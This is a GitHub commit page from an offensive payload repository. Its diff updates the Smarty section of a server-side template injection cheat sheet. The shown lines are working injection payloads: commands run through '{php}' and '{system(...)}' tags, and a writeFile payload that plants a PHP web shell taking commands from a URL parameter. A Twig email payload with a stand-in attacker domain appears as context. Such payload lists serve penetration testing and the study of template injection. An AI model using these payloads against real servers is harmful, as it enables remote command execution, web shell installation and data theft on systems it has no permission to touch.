Skip to content

Commit

Permalink
Merge pull request swisskyrepo#366 from mpgn/master
Browse files Browse the repository at this point in the history
Update Smarty Template Injection
  • Loading branch information
swisskyrepo authored May 20, 2021
2 parents 28f68f4 + 367296c commit e3e3ca6
Showing 1 changed file with 3 additions and 1 deletion.
4 changes: 3 additions & 1 deletion Server Side Template Injection/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -233,8 +233,10 @@ email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld

```python
{$smarty.version}
{php}echo `id`;{/php}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```

## Freemarker
Expand Down

0 comments on commit e3e3ca6

Please sign in to comment.